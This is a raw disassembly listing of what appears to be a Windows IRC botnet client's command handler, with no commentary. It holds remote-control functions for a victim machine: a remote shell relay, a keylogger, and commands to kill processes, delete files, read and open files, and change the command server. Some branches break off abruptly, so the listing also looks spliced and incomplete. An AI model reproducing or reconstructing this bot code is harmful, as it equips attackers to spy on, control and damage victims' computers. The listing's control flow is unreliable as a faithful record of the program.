test eax, eax
jne 0x406823
push 1
pop eax
jmp 0x40a630
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x1bac], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0x1ba4], eax
and dword [ebp - 0x1ba0], 0
push 0
push 6
lea eax, [ebp - 0x864]
push eax
call fcn.0041d7c3
add esp, 0xc
mov dword [ebp - 0x1ba8], eax
lea eax, [ebp - 0x874]
push eax
push 0
lea eax, [ebp - 0x1bac]
push eax
push 0x419314
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x1ba8]
imul ecx, ecx, 0x244
mov dword [ecx + 0x44bb30], eax
cmp dword [ebp - 0x1ba0], 0
jne 0x406899
push 0x1e
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x406886
push 1
pop eax
jmp 0x40a630
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xac]
push 0x43d0a0
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x406920
push 8
call fcn.0041db72
pop ecx
mov dword [ebp - 0x1bb0], eax
push dword [ebp - 0x1bb0]
push str._MAIN_
push str._s_Currently__d_Threads
lea eax, [ebp - 0x864]
push eax
call fcn.0041ee40
add esp, 0x10
push 0
push dword [ebp - 0x868]
lea eax, [ebp - 0x864]
push eax
push dword [ebp - 0xa4]
push dword [ebp + 0xc]
call fcn.0040bf6c
add esp, 0x14
lea eax, [ebp - 0x864]
push eax
call fcn.0040a845
pop ecx
push 1
pop eax
jmp 0x40a630
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xac]
push 0x43d09c
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x406995
push dword [ebp + 0xc]
call fcn.0040c969
pop ecx
push eax
push str._MAIN_
push 0x4419c8
lea eax, [ebp - 0x864]
push eax
call fcn.0041ee40
add esp, 0x10
push 0
push dword [ebp - 0x868]
lea eax, [ebp - 0x864]
push eax
push dword [ebp - 0xa4]
push dword [ebp + 0xc]
call fcn.0040bf6c
add esp, 0x14
lea eax, [ebp - 0x864]
push eax
call fcn.0040a845
pop ecx
push 1
pop eax
jmp 0x40a630
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xac]
push 0x43d29c
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x4069fa
cmp dword [0x4e35e4], 0
jne 0x4069c3
push 1
pop eax
jmp 0x40a630
push dword [ebp - 0x868]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call fcn.004137aa
add esp, 0xc
push 0
push dword [ebp - 0x868]
push 0x4419d0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call fcn.0040bf6c
add esp, 0x14
push 1
pop eax
jmp 0x40a630
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xac]
push 0x4419e8
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x406a25
push dword [ebp + 0xc]
call fcn.0041759f
pop ecx
jmp 0x40a62d
mov eax, dword [ebp - 0xc8]
cmp dword [ebp + eax*4 - 0xa8], 0
jne 0x406a3d
push 1
pop eax
jmp 0x40a630
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xac]
push str.nick
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x406a98
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xa8]
push str.NICK__s_r_n
push dword [ebp + 0xc]
call fcn.0040bf1b
add esp, 0xc
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xa8]
push str.Nick_changed_to:__s.
call fcn.0040a8db
pop ecx
pop ecx
mov eax, dword [ebp + 0x2c]
jmp 0x40a630
push str.msnadd
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xac]
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x406acd
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xa8]
call fcn.00417b28
pop ecx
jmp 0x40a62d
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xac]
push 0x43d0d8
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x406b35
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xa4]
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xa8]
push 0x441a18
push dword [ebp + 0xc]
call fcn.0040bf1b
add esp, 0x10
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xa8]
push 0x441a28
call fcn.0040a8db
pop ecx
pop ecx
mov eax, dword [ebp + 0x2c]
jmp 0x40a630
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xac]
push 0x43d0e0
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x406b90
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xa8]
push 0x441a40
push dword [ebp + 0xc]
call fcn.0040bf1b
add esp, 0xc
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xa8]
push 0x441a4c
call fcn.0040a8db
pop ecx
pop ecx
mov eax, dword [ebp + 0x2c]
jmp 0x40a630
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xac]
push 0x43d0e8
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x406c0f
cmp dword [ebp - 0x2e0], 0
je 0x406c07
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xa8]
push dword [ebp - 0x2e0]
call fcn.0041f550
pop ecx
pop ecx
mov dword [ebp - 0x1bb4], eax
cmp dword [ebp - 0x1bb4], 0
je 0x406c07
push dword [ebp - 0x1bb4]
push 0x441a64
push dword [ebp + 0xc]
call fcn.0040bf1b
add esp, 0xc
push dword [ebp - 0x1bb4]
push str.IRC_Raw:__s
call fcn.0040a8db
pop ecx
pop ecx
mov eax, dword [ebp + 0x2c]
jmp 0x40a630
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xac]
push 0x43d1e0
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x406dc1
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xa8]
push 0x441a78
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x406cd7
call fcn.0041da9e
mov dword [ebp - 0x5e4], eax
cmp dword [ebp - 0x5e4], 0
jle 0x406c86
push dword [ebp - 0x5e4]
push str._MAIN_
push 0x441a7c
lea eax, [ebp - 0x864]
push eax
call fcn.0041ee40
add esp, 0x10
jmp 0x406c9f
push str._MAIN_
push 0x441a98
lea eax, [ebp - 0x864]
push eax
call fcn.0041ee40
add esp, 0xc
cmp dword [ebp - 4], 0
jne 0x406cc5
push 0
push dword [ebp - 0x868]
lea eax, [ebp - 0x864]
push eax
push dword [ebp - 0xa4]
push dword [ebp + 0xc]
call fcn.0040bf6c
add esp, 0x14
lea eax, [ebp - 0x864]
push eax
call fcn.0040a845
pop ecx
jmp 0x406db9
mov eax, dword [ebp - 0xc8]
inc eax
mov dword [ebp - 0x5e4], eax
jmp 0x406cf3
mov eax, dword [ebp - 0x5e4]
inc eax
mov dword [ebp - 0x5e4], eax
cmp dword [ebp - 0x5e4], 0x20
jae 0x406db9
mov eax, dword [ebp - 0x5e4]
cmp dword [ebp + eax*4 - 0xac], 0
jne 0x406d15
jmp 0x406db9
mov eax, dword [ebp - 0x5e4]
push dword [ebp + eax*4 - 0xac]
call fcn.0041f200
pop ecx
push eax
call fcn.0041d979
pop ecx
test eax, eax
je 0x406d5b
mov eax, dword [ebp - 0x5e4]
push dword [ebp + eax*4 - 0xac]
push str._MAIN_
push 0x441ab4
lea eax, [ebp - 0x864]
push eax
call fcn.0041ee40
add esp, 0x10
jmp 0x406d81
mov eax, dword [ebp - 0x5e4]
push dword [ebp + eax*4 - 0xac]
push str._MAIN_
push 0x441acc
lea eax, [ebp - 0x864]
push eax
call fcn.0041ee40
add esp, 0x10
cmp dword [ebp - 4], 0
jne 0x406da7
push 0
push dword [ebp - 0x868]
lea eax, [ebp - 0x864]
push eax
push dword [ebp - 0xa4]
push dword [ebp + 0xc]
call fcn.0040bf6c
add esp, 0x14
lea eax, [ebp - 0x864]
push eax
call fcn.0040a845
pop ecx
jmp 0x406ce6
push 1
pop eax
jmp 0x40a630
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xac]
push str.prefix
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x406e57
mov eax, dword [ebp - 0xc8]
mov eax, dword [ebp + eax*4 - 0xa8]
mov al, byte [eax]
mov byte [0x440922], al
mov eax, dword [ebp - 0xc8]
mov eax, dword [ebp + eax*4 - 0xa8]
movsx eax, byte [eax]
push eax
push str._MAIN_
push str._s_Prefix_changed_to:__c
lea eax, [ebp - 0x864]
push eax
call fcn.0041ee40
add esp, 0x10
cmp dword [ebp - 4], 0
jne 0x406e42
push 0
push dword [ebp - 0x868]
lea eax, [ebp - 0x864]
push eax
push dword [ebp - 0xa4]
push dword [ebp + 0xc]
call fcn.0040bf6c
add esp, 0x14
lea eax, [ebp - 0x864]
push eax
call fcn.0040a845
pop ecx
push 1
pop eax
jmp 0x40a630
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xac]
push str.0pen
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x406f25
push 5
push 0
push 0
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xa8]
push 0x441b08
push 0
call dword [0x4e34a4]
test eax, eax
je 0x406ec4
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xa8]
push str._MAIN_
push str._s_File_opened:__s
lea eax, [ebp - 0x864]
push eax
call fcn.0041ee40
add esp, 0x10
jmp 0x406eea
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xa8]
push str._MAIN_
push 0x441b24
lea eax, [ebp - 0x864]
push eax
call fcn.0041ee40
add esp, 0x10
cmp dword [ebp - 4], 0
jne 0x406f10
push 0
push dword [ebp - 0x868]
lea eax, [ebp - 0x864]
push eax
push dword [ebp - 0xa4]
push dword [ebp + 0xc]
call fcn.0040bf6c
add esp, 0x14
lea eax, [ebp - 0x864]
push eax
call fcn.0040a845
pop ecx
mov eax, dword [ebp + 0x2c]
jmp 0x40a630
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xac]
push 0x43d1f4
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x406fbd
push 0x7f
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xa8]
push dword [ebp + 0x1c]
call fcn.0041ed20
add esp, 0xc
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xa8]
push str._MAIN_
push str._s_Server_changed_to:__s
lea eax, [ebp - 0x864]
push eax
call fcn.0041ee40
add esp, 0x10
cmp dword [ebp - 4], 0
jne 0x406fa8
push 0
push dword [ebp - 0x868]
lea eax, [ebp - 0x864]
push eax
push dword [ebp - 0xa4]
push dword [ebp + 0xc]
call fcn.0040bf6c
add esp, 0x14
lea eax, [ebp - 0x864]
push eax
call fcn.0040a845
pop ecx
push 1
pop eax
jmp 0x40a630
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xac]
push 0x43d1fc
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x40711c
and dword [ebp - 0x1bbc], 0
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xa8]
call dword [0x4e3564]
mov dword [ebp - 0x1bc0], eax
cmp dword [ebp - 0x1bc0], 0xffffffff
je 0x407057
push 2
push 4
lea eax, [ebp - 0x1bc0]
push eax
call dword [0x4e34e8]
mov dword [ebp - 0x1bbc], eax
cmp dword [ebp - 0x1bbc], 0
je 0x407055
mov eax, dword [ebp - 0x1bbc]
push dword [eax]
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xa8]
push str._MAIN_
push 0x441b5c
lea eax, [ebp - 0x864]
push eax
call fcn.0041ee40
add esp, 0x14
jmp 0x4070bf
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xa8]
call dword [0x4e35a8]
mov dword [ebp - 0x1bbc], eax
cmp dword [ebp - 0x1bbc], 0
je 0x4070bf
mov eax, dword [ebp - 0x1bbc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x1bb8], eax
push dword [ebp - 0x1bb8]
call dword [0x4e35b0]
push eax
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xa8]
push str._MAIN_
push str._s_Lookup:__s_____s
lea eax, [ebp - 0x864]
push eax
call fcn.0041ee40
add esp, 0x14
cmp dword [ebp - 0x1bbc], 0
jne 0x4070e1
push str._MAIN_
push str._s_Couldnt_resolve_hostname
lea eax, [ebp - 0x864]
push eax
call fcn.0041ee40
add esp, 0xc
cmp dword [ebp - 4], 0
jne 0x407107
push 0
push dword [ebp - 0x868]
lea eax, [ebp - 0x864]
push eax
push dword [ebp - 0xa4]
push dword [ebp + 0xc]
call fcn.0040bf6c
add esp, 0x14
lea eax, [ebp - 0x864]
push eax
call fcn.0040a845
pop ecx
mov eax, dword [ebp + 0x2c]
jmp 0x40a630
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xac]
push str.killproc
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x4071ef
push 0
push 0
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xa8]
push dword [ebp - 0x868]
push 0
push dword [ebp + 0xc]
call fcn.0040e6f4
add esp, 0x18
cmp eax, 1
jne 0x40718e
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xa8]
push str._MAIN_
push str._s_Process_killed:__s
lea eax, [ebp - 0x864]
push eax
call fcn.0041ee40
add esp, 0x10
jmp 0x4071b4
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xa8]
push str._MAIN_
push str._s_Failed_to_terminate_process:__s
lea eax, [ebp - 0x864]
push eax
call fcn.0041ee40
add esp, 0x10
cmp dword [ebp - 4], 0
jne 0x4071da
push 0
push dword [ebp - 0x868]
lea eax, [ebp - 0x864]
push eax
push dword [ebp - 0xa4]
push dword [ebp + 0xc]
call fcn.0040bf6c
add esp, 0x14
lea eax, [ebp - 0x864]
push eax
call fcn.0040a845
pop ecx
mov eax, dword [ebp + 0x2c]
jmp 0x40a630
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xac]
push str.killid
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x4072b8
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xa8]
call fcn.0041f200
pop ecx
push eax
call fcn.0040ea24
pop ecx
cmp eax, 1
jne 0x407257
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xa8]
push str._MAIN_
push str._s_Process_killed_ID:__s
lea eax, [ebp - 0x864]
push eax
call fcn.0041ee40
add esp, 0x10
jmp 0x40727d
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xa8]
push str._MAIN_
push str._s_Failed_to_terminate_process_ID:__s
lea eax, [ebp - 0x864]
push eax
call fcn.0041ee40
add esp, 0x10
cmp dword [ebp - 4], 0
jne 0x4072a3
push 0
push dword [ebp - 0x868]
lea eax, [ebp - 0x864]
push eax
push dword [ebp - 0xa4]
push dword [ebp + 0xc]
call fcn.0040bf6c
add esp, 0x14
lea eax, [ebp - 0x864]
push eax
call fcn.0040a845
pop ecx
push 1
pop eax
jmp 0x40a630
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xac]
push str.delete
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x407378
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xa8]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
je 0x40731d
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xa8]
push str._MAIN_
push str._s_Deleted__s
push 0x200
lea eax, [ebp - 0x864]
push eax
call fcn.0041f000
add esp, 0x14
jmp 0x40733d
push 0x4dd904
call fcn.0040b9e4
pop ecx
push eax
push 0x200
lea eax, [ebp - 0x864]
push eax
call fcn.0041f000
add esp, 0xc
cmp dword [ebp - 4], 0
jne 0x407363
push 0
push dword [ebp - 0x868]
lea eax, [ebp - 0x864]
push eax
push dword [ebp - 0xa4]
push dword [ebp + 0xc]
call fcn.0040bf6c
add esp, 0x14
lea eax, [ebp - 0x864]
push eax
call fcn.0040a845
pop ecx
mov eax, dword [ebp + 0x2c]
jmp 0x40a630
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xac]
push str.list
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x4073d6
push 0
push dword [ebp - 0xa4]
push dword [ebp + 0xc]
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xa8]
call fcn.0040d72d
add esp, 0x10
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xa8]
push str.List:__s
call fcn.0040a8db
pop ecx
pop ecx
mov eax, dword [ebp + 0x2c]
jmp 0x40a630
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xac]
push str.mirc
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x4074ac
cmp dword [ebp - 0x2e0], 0
je 0x4074a4
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xa8]
push dword [ebp - 0x2e0]
call fcn.0041f550
pop ecx
pop ecx
mov dword [ebp - 0x1bc4], eax
cmp dword [ebp - 0x1bc4], 0
je 0x4074a4
push dword [ebp - 0x1bc4]
call fcn.0040baef
pop ecx
test eax, eax
jne 0x407458
push str._MAIN_
push str._s_Client_not_open
lea eax, [ebp - 0x864]
push eax
call fcn.0041ee40
add esp, 0xc
jmp 0x407471
push str._MAIN_
push str._s_Command_sent
lea eax, [ebp - 0x864]
push eax
call fcn.0041ee40
add esp, 0xc
cmp dword [ebp - 4], 0
jne 0x407497
push 0
push dword [ebp - 0x868]
lea eax, [ebp - 0x864]
push eax
push dword [ebp - 0xa4]
push dword [ebp + 0xc]
call fcn.0040bf6c
add esp, 0x14
lea eax, [ebp - 0x864]
push eax
call fcn.0040a845
pop ecx
mov eax, dword [ebp + 0x2c]
jmp 0x40a630
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xac]
push str.rcmd
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x40759e
cmp dword [ebp - 0x2e0], 0
je 0x407596
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xa8]
push dword [ebp - 0x2e0]
call fcn.0041f550
pop ecx
pop ecx
mov dword [ebp - 0x1bc8], eax
cmp dword [ebp - 0x1bc8], 0
je 0x407596
push 0x441c64
push dword [ebp - 0x1bc8]
call fcn.00420140
pop ecx
pop ecx
push dword [ebp - 0x1bc8]
call fcn.0040c181
pop ecx
test eax, eax
jne 0x40756a
push str._MAIN_
push str._s_Error_sending_to_remote_shell
lea eax, [ebp - 0x864]
push eax
call fcn.0041ee40
add esp, 0xc
cmp dword [ebp - 4], 0
jne 0x407568
push 0
push dword [ebp - 0x868]
lea eax, [ebp - 0x864]
push eax
push dword [ebp - 0xa4]
push dword [ebp + 0xc]
call fcn.0040bf6c
add esp, 0x14
jmp 0x407589
push dword [ebp - 0x1bc8]
push str._MAIN_
push 0x441c8c
lea eax, [ebp - 0x864]
push eax
call fcn.0041ee40
add esp, 0x10
lea eax, [ebp - 0x864]
push eax
call fcn.0040a845
pop ecx
mov eax, dword [ebp + 0x2c]
jmp 0x40a630
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xac]
push str.read
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x4076bc
push 0x441c9c
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xa8]
call fcn.004200d0
pop ecx
pop ecx
mov dword [ebp - 0x1bcc], eax
cmp dword [ebp - 0x1bcc], 0
je 0x40765b
push dword [ebp - 0x1bcc]
push 0x200
lea eax, [ebp - 0x864]
push eax
call fcn.0041fe90
add esp, 0xc
test eax, eax
je 0x407627
push 1
push dword [ebp - 0x868]
lea eax, [ebp - 0x864]
push eax
push dword [ebp - 0xa4]
push dword [ebp + 0xc]
call fcn.0040bf6c
add esp, 0x14
jmp 0x4075e7
push dword [ebp - 0x1bcc]
call fcn.0041fd40
pop ecx
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xa8]
push str._MAIN_
push str._s_Read_file_complete:__s
lea eax, [ebp - 0x864]
push eax
call fcn.0041ee40
add esp, 0x10
jmp 0x4076a7
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xa8]
push str._MAIN_
push str._s_Read_file_failed:__s
lea eax, [ebp - 0x864]
push eax
call fcn.0041ee40
add esp, 0x10
cmp dword [ebp - 4], 0
jne 0x4076a7
push 0
push dword [ebp - 0x868]
lea eax, [ebp - 0x864]
push eax
push dword [ebp - 0xa4]
push dword [ebp + 0xc]
call fcn.0040bf6c
add esp, 0x14
lea eax, [ebp - 0x864]
push eax
call fcn.0040a845
pop ecx
mov eax, dword [ebp + 0x2c]
jmp 0x40a630
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xac]
push str.keylog
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x40794c
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xa8]
push 0x441cd4
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
je 0x40771b
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xa8]
push 0x441cd8
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x4078ab
push 0x1a
call fcn.0041db72
pop ecx
test eax, eax
jle 0x40773f
push str._KEYLOG_:_Already_running.
lea eax, [ebp - 0x864]
push eax
call fcn.0041ee40
pop ecx
pop ecx
jmp 0x4078a9
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x1c20], eax
mov eax, dword [ebp - 0x868]
mov dword [ebp - 0x1bd8], eax
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xa8]
push str.file
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x40777d
mov dword [ebp - 0x3410], 1
jmp 0x407786
mov eax, dword [ebp - 4]
mov dword [ebp - 0x3410], eax
mov eax, dword [ebp - 0x3410]
mov dword [ebp - 0x1bd4], eax
mov eax, dword [ebp - 0xc8]
cmp dword [ebp + eax*4 - 0xa4], 0
je 0x4077b7
jmp 0x407911
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xa8]
push 0x441d5c
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x407911
push 0
push 0x1a
call fcn.0041daec
pop ecx
pop ecx
mov dword [ebp - 0x5e4], eax
cmp dword [ebp - 0x5e4], 0
jle 0x4078fe
cmp dword [ebp - 4], 0
jne 0x407937
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xac]
push str.gethost
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x407acb
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xa8]
push dword [ebp + 0x24]
call fcn.0041f550
pop ecx
pop ecx
test eax, eax
je 0x407ac3
mov eax, dword [ebp - 0xc8]
cmp dword [ebp + eax*4 - 0xa4], 0
je 0x407a5c
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xa4]
push dword [ebp - 0x2e0]
call fcn.0041f550
pop ecx
pop ecx
mov dword [ebp - 0x1c24], eax
cmp dword [ebp - 0x1c24], 0
je 0x407a41
push 0
push dword [ebp - 0x868]
push dword [ebp + 0xc]
push dword [ebp + 0x24]
lea eax, [ebp - 0x864]
push eax
call fcn.0041cb25
add esp, 0xc
push eax
push dword [ebp - 0xa4]
push dword [ebp + 0xc]
call fcn.0040bf6c
add esp, 0x14
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xa8]
push str._MAIN_
push str._s_Gethost:__s
push 0x200
lea eax, [ebp - 0x864]
push eax
call fcn.0041f000
add esp, 0x14
lea eax, [ebp - 0x864]
push eax
call fcn.0040a845
pop ecx
mov eax, dword [ebp + 0x2c]
jmp 0x40a630
mov eax, dword [ebp - 0xc8]
cmp dword [ebp + eax*4 - 0xa4], 0
jne 0x407ae3
push 1
pop eax
jmp 0x40a630
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xac]
push str.addalias
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x407bb5
cmp dword [ebp - 0x2e0], 0
je 0x407bad
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xac]
push 0x43d250
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x407c8e
mov eax, dword [ebp + 0x2c]
pop edi
pop esi
leave
ret